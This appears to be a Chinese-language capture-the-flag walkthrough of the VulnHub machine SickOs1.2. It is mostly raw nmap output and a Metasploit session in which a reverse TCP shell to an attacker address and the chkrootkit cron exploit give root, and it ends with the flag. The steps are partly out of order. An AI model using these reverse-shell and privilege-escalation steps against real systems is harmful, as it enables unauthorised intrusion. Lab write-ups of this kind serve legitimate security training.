root@kali:~# nmap -sn -v 192.168.66.* Nmap scan report for 192.168.66.14 Host is up (0.00033s latency). MAC Address: 00:0C:29:1B:36:86 (VMware)
1 2 3 4
root@kali:~# nmap -sV -v -p- 192.168.66.14 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http lighttpd 1.4.28
root@kali:~# nmap -A -v -p 22,80 192.168.66.14 -T4 --script=vuln 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0) |_clamav-exec: ERROR: Script execution failed (use -d to debug) 80/tcp open http lighttpd 1.4.28 |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: |_ /test/: Test page |_http-server-header: lighttpd/1.4.28 | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_ http://ha.ckers.org/slowloris/ |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) | vulners: | cpe:/a:lighttpd:lighttpd:1.4.28: | CVE-2013-4559 7.6 https://vulners.com/cve/CVE-2013-4559 | CVE-2014-2323 7.5 https://vulners.com/cve/CVE-2014-2323 | CVE-2013-4508 5.8 https://vulners.com/cve/CVE-2013-4508 | CVE-2018-19052 5.0 https://vulners.com/cve/CVE-2018-19052 | CVE-2014-2324 5.0 https://vulners.com/cve/CVE-2014-2324 | CVE-2011-4362 5.0 https://vulners.com/cve/CVE-2011-4362 |_ CVE-2013-4560 2.6 https://vulners.com/cve/CVE-2013-4560
www-data@ubuntu:/tmp$ chmod 777 * chmod 777 * chmod: changing permissions of `VMwareDnD': Operation not permitted chmod: changing permissions of `vgauthsvclog.txt.0': Operation not permitted chmod: changing permissions of `vmware-root': Operation not permitted www-data@ubuntu:/tmp$ ls -la ls -la total 24 drwxrwxrwt 4 root root 4096 Mar 29 23:24 . drwxr-xr-x 22 root root 4096 Mar 30 2016 .. drwxrwxrwt 2 root root 4096 Mar 29 22:58 VMwareDnD srwxrwxrwx 1 www-data www-data 0 Mar 29 22:58 php.socket-0 -rwxrwxrwx 1 www-data www-data 76 Mar 29 23:18 update -rw-r--r-- 1 root root 1600 Mar 29 22:58 vgauthsvclog.txt.0 drwx------ 2 root root 4096 Mar 29 22:58 vmware-root
然后等待几分钟
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
root@ubuntu:/tmp# id id uid=0(root) gid=0(root) groups=0(root) root@ubuntu:/tmp# whoami whoami root root@ubuntu:/tmp# cd /root cd /root root@ubuntu:~# ls ls 304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz chkrootkit-0.49 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt newRule root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Metasploit tip: You can use help to view all available commands
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set lport 443 lport => 443 msf5 exploit(multi/handler) > set lhost 192.168.233.128 lhost => 192.168.233.128 msf5 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcp payload => linux/x86/shell_reverse_tcp msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.233.128:443 [*] Command shell session 1 opened (192.168.233.128:443 -> 192.168.233.129:48340) at 2020-03-30 02:40:05 -0400
id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ pwd / $ whoami www-data $ backgroud /bin/sh: 5: backgroud: not found $ background
Background session 1? [y/N] y msf5 exploit(multi/handler) >
Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/unix/local/chkrootkit 2014-06-04 manual Chkrootkit Local Privilege Escalation
msf exploit(handler) > use exploit/unix/local/chkrootkit msf exploit(chkrootkit) > show options
Module options (exploit/unix/local/chkrootkit):
Name Current Setting Required Description ---- --------------- -------- ----------- CHKROOTKIT /usr/sbin/chkrootkit yes Path to chkrootkit SESSION yes The session to run this module on.
Exploit target:
Id Name -- ---- 0 Automatic
msf exploit(chkrootkit) > set session 1 session => 1 msf exploit(chkrootkit) > set lport 8080 lport => 8080
msf5 exploit(unix/local/chkrootkit) > set LHOST 192.168.233.128 LHOST => 192.168.233.128 msf5 exploit(unix/local/chkrootkit) > run -j [*] Exploit running as background job 1. [*] Exploit completed, but no session was created.
[*] Started reverse TCP double handler on 192.168.233.128:8080 msf5 exploit(unix/local/chkrootkit) > [!] Rooting depends on the crontab (this could take a while) [*] Payload written to /tmp/update [*] Waiting for chkrootkit to run via cron... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo m6QrrJnhcNykbebU; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: "m6QrrJnhcNykbebU\r\n" [*] Matching... [*] B is input... [*] Command shell session 2 opened (192.168.233.128:8080 -> 192.168.233.129:37735) at 2020-03-30 03:15:49 -0400 [+] Deleted /tmp/update id [*] exec: id
msf5 exploit(unix/local/chkrootkit) > sessions 2 [*] Starting interaction with 2...
id uid=0(root) gid=0(root) groups=0(root) whoami root python -c 'import pty; pty.spawn("/bin/bash")' root@ubuntu:/tmp# id id uid=0(root) gid=0(root) groups=0(root) root@ubuntu:/tmp# cd /root cd /root root@ubuntu:~# ls ls 304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz chkrootkit-0.49 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt newRule root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.
成功的获取到了flag
知识点总结
HTTP put方法写入shell
cron定时任务+chkrootkit漏洞CVE-2014-0476—提权
msf的exploit/unix/local/chkrootkit模块—提权
Game over
不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this…It’s a pity…
